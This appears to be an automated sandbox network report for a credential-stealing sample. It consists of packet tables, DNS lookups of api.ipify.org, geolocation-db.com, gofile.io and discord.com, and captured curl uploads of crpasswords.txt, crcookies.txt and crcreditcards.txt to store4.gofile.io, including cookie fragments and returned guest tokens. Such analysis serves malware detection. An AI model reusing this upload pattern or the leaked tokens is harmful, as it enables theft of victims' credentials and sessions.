                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.456012011 CET49773443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.456168890 CET49773443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.457406998 CET49774443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.457457066 CET44349774162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.457524061 CET49774443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.457861900 CET49774443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:40.457875013 CET44349774162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.668940067 CET44349774162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.669414997 CET49774443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.669440985 CET44349774162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.670465946 CET44349774162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.670541048 CET49774443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.678972006 CET49774443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.679188967 CET49774443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.883955002 CET49775443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.884067059 CET44349775162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.884210110 CET49775443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.884802103 CET49775443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:41.884841919 CET44349775162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.095101118 CET44349775162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.141061068 CET49775443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.151331902 CET49775443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.151345968 CET44349775162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.152710915 CET44349775162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.152761936 CET49775443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.154345036 CET49775443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.154509068 CET49775443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.155653000 CET49776443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.155702114 CET44349776162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.155777931 CET49776443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.156100035 CET49776443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:43.156111002 CET44349776162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.483383894 CET44349776162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.484019995 CET49776443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.484040022 CET44349776162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.485388041 CET44349776162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.485462904 CET49776443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.486588955 CET49776443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.486742973 CET44349776162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.486747980 CET49776443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.486799955 CET49776443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.488053083 CET49777443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.488090992 CET44349777162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.488162994 CET49777443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.488521099 CET49777443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:44.488528013 CET44349777162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.699134111 CET44349777162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.700010061 CET49777443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.700017929 CET44349777162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.701102972 CET44349777162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.701163054 CET49777443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.702362061 CET49777443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.702533007 CET44349777162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.702584028 CET49777443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.702848911 CET49777443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.703881025 CET49778443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.703937054 CET44349778162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.704056025 CET49778443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.704387903 CET49778443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:45.704405069 CET44349778162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.912693977 CET44349778162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.913183928 CET49778443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.913204908 CET44349778162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.914299965 CET44349778162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.914360046 CET49778443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.915492058 CET49778443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.915640116 CET49778443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.915646076 CET44349778162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.915693045 CET49778443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.916836977 CET49779443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.916872025 CET44349779162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.916938066 CET49779443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.917295933 CET49779443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:46.917304039 CET44349779162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.395620108 CET44349779162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.396243095 CET49779443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.396255016 CET44349779162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.397389889 CET44349779162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.397470951 CET49779443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.398622036 CET49779443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.398770094 CET49779443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.399926901 CET49780443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.399976015 CET44349780162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.400053978 CET49780443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.400409937 CET49780443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:48.400424957 CET44349780162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.675442934 CET44349780162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.676127911 CET49780443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.676156998 CET44349780162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.677232027 CET44349780162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.677324057 CET49780443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.678379059 CET49780443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.678522110 CET49780443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.680124998 CET49781443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.680241108 CET44349781162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.680342913 CET49781443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.680726051 CET49781443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:49.680753946 CET44349781162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.896471977 CET44349781162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.897646904 CET49781443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.897671938 CET44349781162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.900363922 CET44349781162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.900428057 CET49781443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.903636932 CET49781443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.903948069 CET49781443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.906065941 CET49782443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.906114101 CET44349782162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.906186104 CET49782443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.907120943 CET49782443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:50.907129049 CET44349782162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:52.116687059 CET44349782162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:52.117324114 CET49782443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:52.117341995 CET44349782162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:52.118247032 CET44349782162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:52.118304968 CET49782443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:52.119807005 CET49782443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:52.119966030 CET49782443192.168.2.8162.159.138.232

                                                                                                                                                                                                                                            UDP Packets

                                                                                                                                                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:55.654860973 CET5943453192.168.2.81.1.1.1
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:55.792459011 CET53594341.1.1.1192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.036027908 CET5334353192.168.2.81.1.1.1
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.174575090 CET53533431.1.1.1192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.569268942 CET5469953192.168.2.81.1.1.1
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.707298994 CET53546991.1.1.1192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:00.927211046 CET5568853192.168.2.81.1.1.1
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:00.962930918 CET5968353192.168.2.81.1.1.1
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.100723028 CET53596831.1.1.1192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.159646988 CET53556881.1.1.1192.168.2.8

                                                                                                                                                                                                                                            DNS Queries

                                                                                                                                                                                                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:55.654860973 CET192.168.2.81.1.1.10x2043Standard query (0)api.ipify.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.036027908 CET192.168.2.81.1.1.10x39a0Standard query (0)api.gofile.ioA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.569268942 CET192.168.2.81.1.1.10x302eStandard query (0)geolocation-db.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:00.927211046 CET192.168.2.81.1.1.10x546Standard query (0)store4.gofile.ioA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:00.962930918 CET192.168.2.81.1.1.10x63beStandard query (0)discord.comA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                            DNS Answers

                                                                                                                                                                                                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:55.792459011 CET1.1.1.1192.168.2.80x2043No error (0)api.ipify.org104.26.12.205A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:55.792459011 CET1.1.1.1192.168.2.80x2043No error (0)api.ipify.org172.67.74.152A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:55.792459011 CET1.1.1.1192.168.2.80x2043No error (0)api.ipify.org104.26.13.205A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.174575090 CET1.1.1.1192.168.2.80x39a0No error (0)api.gofile.io45.112.123.126A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.707298994 CET1.1.1.1192.168.2.80x302eNo error (0)geolocation-db.com159.89.102.253A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.100723028 CET1.1.1.1192.168.2.80x63beNo error (0)discord.com162.159.138.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.100723028 CET1.1.1.1192.168.2.80x63beNo error (0)discord.com162.159.136.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.100723028 CET1.1.1.1192.168.2.80x63beNo error (0)discord.com162.159.135.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.100723028 CET1.1.1.1192.168.2.80x63beNo error (0)discord.com162.159.128.233A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.100723028 CET1.1.1.1192.168.2.80x63beNo error (0)discord.com162.159.137.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.159646988 CET1.1.1.1192.168.2.80x546No error (0)store4.gofile.io31.14.70.245A (IP address)IN (0x0001)false

                                                                                                                                                                                                                                            HTTP Request Dependency Graph

                                                                                                                                                                                                                                            • store4.gofile.io

                                                                                                                                                                                                                                            HTTPS Proxied Packets

                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                            0192.168.2.84971531.14.70.2454438704C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                            2024-12-13 07:45:02 UTC198OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                            Host: store4.gofile.io
                                                                                                                                                                                                                                            User-Agent: curl/7.83.1
                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                            Content-Length: 193
                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=------------------------cce6b149417beeab
                                                                                                                                                                                                                                            2024-12-13 07:45:02 UTC193OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 63 65 36 62 31 34 39 34 31 37 62 65 65 61 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 70 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 63 65 36 62 31 34 39 34 31 37 62 65 65 61 62 2d 2d 0d 0a
                                                                                                                                                                                                                                            Data Ascii: --------------------------cce6b149417beeabContent-Disposition: form-data; name="file"; filename="crpasswords.txt"Content-Type: text/plain--------------------------cce6b149417beeab--
                                                                                                                                                                                                                                            2024-12-13 07:45:03 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                            Server: nginx/1.27.1
                                                                                                                                                                                                                                            Date: Fri, 13 Dec 2024 07:45:03 GMT
                                                                                                                                                                                                                                            Content-Type: application/json
                                                                                                                                                                                                                                            Content-Length: 893
                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                            Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                            Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                            Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                            2024-12-13 07:45:03 UTC893INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 34 30 37 35 39 30 33 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 5a 62 55 33 64 66 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 56 6f 44 31 45 31 77 51 7a 78 75 44 58 65 49 30 63 6c 4f 4b 4d 52 52 70 51 32 52 57 54 6d 35 66 22 2c 22 69 64 22 3a 22 39 30 63 62 34 30 30 63 2d 30 33 38 34 2d 34 61 37 34 2d 62 35 32 64 2d 64 34 38 38 33 35 34 37 38 30 65 63 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 34 30 37 35 39 30 33 2c
                                                                                                                                                                                                                                            Data Ascii: {"data":{"createTime":1734075903,"downloadPage":"https://gofile.io/d/ZbU3df","guestToken":"VoD1E1wQzxuDXeI0clOKMRRpQ2RWTm5f","id":"90cb400c-0384-4a74-b52d-d488354780ec","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1734075903,


                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                            1192.168.2.84972031.14.70.2454439964C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                            2024-12-13 07:45:05 UTC198OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                            Host: store4.gofile.io
                                                                                                                                                                                                                                            User-Agent: curl/7.83.1
                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                            Content-Length: 466
                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=------------------------c8a82bb20e1e8a00
                                                                                                                                                                                                                                            2024-12-13 07:45:05 UTC466OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 38 61 38 32 62 62 32 30 65 31 65 38 61 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 6f 6f 6b 69 65 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 31 50 5f 4a 41 52 09 32 30 32 33 2d 31 30 2d 30 35 2d 30 38 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 4e 49 44 09 35 31 31 3d 6f 72 63 53 49 6e 6f 5a 42 62
                                                                                                                                                                                                                                            Data Ascii: --------------------------c8a82bb20e1e8a00Content-Disposition: form-data; name="file"; filename="crcookies.txt"Content-Type: text/plain.google.comTRUE/FALSE25975734561P_JAR2023-10-05-08.google.comTRUE/FALSE2597573456NID511=orcSInoZBb
                                                                                                                                                                                                                                            2024-12-13 07:45:05 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                            Server: nginx/1.27.1
                                                                                                                                                                                                                                            Date: Fri, 13 Dec 2024 07:45:05 GMT
                                                                                                                                                                                                                                            Content-Type: application/json
                                                                                                                                                                                                                                            Content-Length: 437
                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                            Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                            Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                            Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                            2024-12-13 07:45:05 UTC437INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 34 30 37 35 39 30 35 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 39 79 74 41 39 4b 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 39 52 74 63 38 7a 33 39 59 71 57 78 39 79 32 4d 74 4c 34 47 4c 37 49 74 77 32 53 55 33 67 35 37 22 2c 22 69 64 22 3a 22 38 35 36 66 62 61 66 66 2d 62 61 31 32 2d 34 36 39 38 2d 39 32 64 64 2d 65 66 63 31 31 31 32 36 32 33 66 36 22 2c 22 6d 64 35 22 3a 22 61 62 37 62 33 31 34 39 37 61 38 39 63 65 65 35 38 66 66 37 66 34 32 30 31 32 66 35 61 30 36 32 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 74 61 62 2d 73 65 70 61 72 61 74 65 64 2d 76 61 6c 75 65 73 22 2c 22 6d 6f 64 54 69
                                                                                                                                                                                                                                            Data Ascii: {"data":{"createTime":1734075905,"downloadPage":"https://gofile.io/d/9ytA9K","guestToken":"9Rtc8z39YqWx9y2MtL4GL7Itw2SU3g57","id":"856fbaff-ba12-4698-92dd-efc1112623f6","md5":"ab7b31497a89cee58ff7f42012f5a062","mimetype":"text/tab-separated-values","modTi


                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                            2192.168.2.84972531.14.70.24544310068C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                            2024-12-13 07:45:07 UTC198OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                            Host: store4.gofile.io
                                                                                                                                                                                                                                            User-Agent: curl/7.83.1
                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                            Content-Length: 195
                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=------------------------2eb4bb3cff072ce0
                                                                                                                                                                                                                                            2024-12-13 07:45:07 UTC195OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 65 62 34 62 62 33 63 66 66 30 37 32 63 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 72 65 64 69 74 63 61 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 65 62 34 62 62 33 63 66 66 30 37 32 63 65 30 2d 2d 0d 0a
                                                                                                                                                                                                                                            Data Ascii: --------------------------2eb4bb3cff072ce0Content-Disposition: form-data; name="file"; filename="crcreditcards.txt"Content-Type: text/plain--------------------------2eb4bb3cff072ce0--
                                                                                                                                                                                                                                            2024-12-13 07:45:08 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                            Server: nginx/1.27.1
                                                                                                                                                                                                                                            Date: Fri, 13 Dec 2024 07:45:08 GMT
                                                                                                                                                                                                                                            Content-Type: application/json
                                                                                                                                                                                                                                            Content-Length: 895
                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                            Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                            Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                            Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                            2024-12-13 07:45:08 UTC895INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 34 30 37 35 39 30 38 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 62 46 42 4b 58 31 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 7a 54 74 56 36 78 44 6a 57 71 54 35 56 4d 48 37 65 45 6a 73 4c 76 39 39 79 77 6b 56 70 45 55 61 22 2c 22 69 64 22 3a 22 61 61 35 65 32 34 34 38 2d 38 30 33 30 2d 34 63 36 33 2d 62 65 34 63 2d 35 65 66 35 32 61 37 37 35 32 63 61 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 34 30 37 35 39 30 38 2c
